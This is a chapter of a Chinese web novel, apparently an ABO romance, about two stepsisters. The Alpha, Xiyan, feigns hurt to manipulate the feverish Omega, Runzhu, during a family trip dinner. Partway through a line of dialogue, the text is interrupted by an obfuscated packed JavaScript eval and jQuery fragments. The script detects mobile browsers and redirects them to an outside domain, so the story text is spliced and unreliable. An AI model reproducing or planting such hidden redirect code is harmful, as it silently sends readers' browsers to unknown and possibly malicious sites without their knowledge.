章润竹下意识想躲。
Alpha的手刚碰了冰袋,指尖还残留着冷意,贴着皮肤滑动时,让人感到一丝含着逗弄意味的凉和痒。
像在抚摸爱宠。
她往旁边侧了侧脸,避开章惜妍的手,在对方看过来时,解释道:“痒痒的,很奇怪。”
章惜妍见好就收,没有继续用这个方法试探。
她眨动眼睛,稍微调整角度,用一种柔弱无害的姿态面对章润竹,语气也刻意压低变柔:“没关系,我知道姐姐对我没有恶意,虽然之前我感觉很难过,但或许过段时间就会好起来吧,毕竟我们跨完年会继续异国,再见面的时候,姐姐兴许又要对我感到陌生了,我会在这段时间里找准定位,以后一定不会再让姐姐感到不适。”
“说到底,我们是没有血缘的姐妹,称不上真正的家人,如果不怎么相处和见面,大概和路上的陌生人没什么区别。”
说着这话,章惜妍看起来低落,像是下一秒就要轻轻地碎掉,没办法拼好的那种。
章润竹的心变得柔软而闷胀,面对这样的章惜妍,她无法维持往日的冷硬和严肃,懊恼和自责泄洪般涌上来,几乎要将她的理智淹没。
于是,她完全称得上是溺爱,用略带急切的口吻道:“你怎么能这样想,我从未如此看待你,在我心中,你绝对不是可有可无的陌生人。”
章润竹顿了顿,继续说:“我不知道怎么取得你的原谅,但我想让你相信,我不希望看到你难过。”
章惜妍的手指遮着唇,眼睛睁得很大,用仰视的角度看她,如无辜的幼鹿:“我的原谅和心情对姐姐而言重要吗?”
“重要,”章润竹没有思索便脱口而出,她和Alpha对视着,加重语气重复,“很重要。”
章惜妍静静和她四目相对,过了几秒才挪开视线,用稍轻的声音问:“为什么?”
这个问题很模糊,章润竹思忖片刻,回答得也很含糊:“在我心中,你是重要而特别的人。”
章惜妍没有再追问,她看了一会别处,才把冰袋交给章润竹,起身往吧台走去:“姐姐回去好好休息吧,至于工作上的事,丢给别人做也无妨,身体最要紧。”
明明刚才是章润竹想要离开,然而真到了分别之际,她却有些贪恋两人相处的时光,不免话多了起来。
“那你还会生气吗?”
章润竹小心翼翼地问。
章惜妍手中握着玻璃杯,靠在吧台的沿边,和章润竹遥遥对望。
Alpha长得高,又极其擅长穿搭,稍加捯饬便很有几分矜贵优雅气质,让人联想到中世纪讲究礼仪的贵族。
但或许是她的错觉,章润竹从对方的姿态中品出几分漫不经心和倨傲,和刚才所表现出的伤心难过似乎有些出入。
下一秒,章惜妍翘唇笑了下,眼中无波:“我需要再考虑几天,姐姐不会逼我当场原谅吧?”
章润竹自然不会这样做,她手中握着冰袋,感觉一股冷意顺着掌心流向四肢,仿佛连心脏都被冻结。
大概真的是她烧迷糊了。
章润竹摇头,没再久待,很快离开章惜妍的房间。
在她走后,章惜妍没再在吧台逗留,而是重新回到客厅,将垃圾桶勾过去,拿起不久前丢掉的手帕。
手帕柔软,绣着一只蝴蝶,针脚紧密,绣工了得,是章惜妍去南方找名家定制的绣品,对她而言珍贵却并不稀缺。
她的目光落在上面的血痕,凝视良久,才微微低头,轻嗅残留的Omega信息素。
人类的体|液中会携带少量信息素,此刻细细搜寻,便能捕捉到淡而柔的兰花香味。
章惜妍露出满意的浅笑,她闷闷哼了声,将手帕盖在脸上,向后倚靠进沙发。
-
稍晚些,余甄诗打电话叫章惜妍下楼用餐。
章惜妍下午在沙发睡过一觉,临出门前洗了个热水澡,换好新衣服才下楼。
本以为她会是最后一个赶到的,谁知章润竹居然还没有下楼,余甄诗和章惟柏靠在一起,如胶似漆的模样令人牙酸。
见她过来,余甄诗抱怨道:“你再晚点来,厨师都该下班了。”
章惜妍卖乖讨饶:“不小心睡过头了,我保证下次多定几个闹钟,绝对不迟到。”
最近忙着毕业的事宜,她休息时间不太充足,眼底已经有了淡淡的乌青,这会儿看起来很有说服力。
余甄诗自然不会继续生气,心疼地说:“不要像你姐姐一样当工作狂,什么时候都不能疏于享受生活。”
章惜妍这才像是刚发现少了个人,挑眉问道:“姐姐怎么还没来?”
“刚才通电话的时候,她说要处理完公司的事再下楼,让我们不必等她。”章惟柏出声回答。
余甄诗轻叹一声,推了下章惟柏:“也怪你,这么早就当甩手掌柜,脏活累活全一股脑丢给润竹,再这么下去,我都怕她身体吃不消。”
章惟柏摸了摸鼻尖,没敢顶嘴:“好,回去之后我帮衬着她点。”
正说着,章润竹姗姗来迟:“抱歉,临时通了个电话。”
她刚落座,便觉察到一道视线落在自己身上,侧目看去,和面色微坏的章惜妍对上目光。
对方手里捏着刀叉,声音略冷地说:“姐姐还真是大忙人,出来旅行都要随时随地办公,堪称当代楷模。”
被阴阳怪气两句,章润竹没有生气不悦,反而升起心虚。
她不由得想起两人分开前,章惜妍体贴入微的叮嘱。
如今被戳穿仍在偷偷加班,怎么看都像是喜欢说谎的骗子,对章惜妍的关心置若罔顾。
章润竹抿了下干燥的唇,忍不住辩解:“事发突然,助理拿不定主意才来找我……其余时间我都在好好休息。”
章惜妍扫她一眼,没有多说,只是目光中充斥着怀疑。
服务生陆续端上菜肴,一顿饭吃得有些紧绷僵持。
在一盘龙虾被端上桌后,余甄诗好似受不了般,主动剥虾分给两姐妹:“好了,千错万错都是你们母亲的错,都别生闷气了,快尝尝厨师的手艺如何。”
章惜妍手一抬,掠走章润竹盘中的虾,示意服务生过来,点了份鸡蛋羹。
余甄诗一脸不赞同:“惜妍,如果你喜欢吃虾,妈妈可以再剥一个,怎么能抢姐姐的?”
不待章惜妍回答,章润竹先出声说:“不是的,是我中午有点发烧,医生建议近期注意饮食,惜妍这才不让我吃虾的。”
余甄诗惊讶:“发烧?怎么还发烧了,严不严重?什么时候开始发的烧,吃过药了吗?”
章润竹点头,老老实实回答:“吃过药了,不严重的,应该是在海上被风吹的,下午睡过一觉后已经舒服很多,过阵子就能痊愈
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598770|171972||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
“要是一直忙于工作可就不一定了,”章惜妍见缝插针地冷嘲热讽,“医生说过,你需要充足的休息时间,如果仍然全天待命处理公务,说不定小病拖大病,大病拖……呵,算了,说再多都没用,我又不能把姐姐绑起来。”
Alpha的语气有些阴阳怪气,话里没有关心二字,却句句饱含关切之意。
章润竹眸光闪烁,睫毛轻颤两下。
显然,余甄诗意识到事情的严重性,连忙问道:“医生还说什么?都已经到了叫医生的地步,是不是出了什么大事?”
章润竹有点难为情:“没什么,只是当时流了点鼻血,很快就止住了,多亏有惜妍在,有条不紊帮我安排这些,我才能在最短时间内知道自己的病情并服药休息。”
她斟酌几秒,又忍不住解释:“没告诉你们,也是怕大家担心,我的身体还没病弱到那个程度,只是需要多一点休息的空间,不碍事的。”
说完,章润竹看向章惜妍,可后者没有理她,握着刀叉切牛排,看起来心情很差,大概还在生闷气。
章润竹也难受起来,她张了张嘴,一副欲言又止的模样。
她本就处在病中,心里不舒服,身体也随之表现出来,掩唇轻咳几声,看起来多了点柔弱之态。
这个动静似乎惹恼了章惜妍,Alpha先起身离席:“我去趟洗手间。”
“我也去。”
章润竹随后起身。
看着一前一后离开的身影,余甄诗把这笔帐算在了妻子头上:“都怪你,这么早退休干什么,害得两姐妹都闹别扭了。”
章惟柏没吭声,给老婆剥完虾,默默用丝帕擦手。
另一边。
“惜妍,你等等我。”
章惜妍的步子又快又大,几乎甩了章润竹一段不小的距离。
章润竹还有些发烧,走快了一阵头晕眼花。
闻言,章惜妍步子稍缓,最终在走廊拐角停下,冷眼睨着气息微乱的章润竹。
Omega在她面前站定,平复了下呼吸,低声道:“抱歉。”
“这么久没见,姐姐别的长进看不出来,道歉的本事倒是熟能生巧了。”章惜妍声音淡淡地说。
章润竹自知理亏,难得主动去拉章惜妍的手。
她已经对章惜妍全然没有芥蒂和警惕,一场意外令她看出对方的照顾关切之意,怎好再继续用其他心思揣测。
见章惜妍跟她闹别扭,她的大脑中几乎留不住别的想法,只剩下将人安抚好。
她触摸到一片温暖,干燥而细腻,忍不住握得紧了些。
“我听你的。”章润竹眼睛被烧得略红,像是委屈到快要哭出来,一副楚楚可怜之态。
然而章惜妍没有任何反应,好似心肠冷硬的雕塑,就那样静静睨着她。
大概是真的烧糊涂了,章润竹病急乱投医,往前一步拥住章惜妍,闷而急地说:“如果我再骗你,你可以绑住我,让我只能听你的话。”
过了几秒,Alpha的声音才传过来:“真的?”
见人终于回应自己,章润竹哪里还能多想,应声:“当然是真的。”
“那姐姐可不要再出尔反尔。”
在她看不到的地方,章惜妍眼睛微微眯起,眸中盛满戏谑和阴鸷。
仿佛计谋得逞的狐狸,露出贪婪的笑容。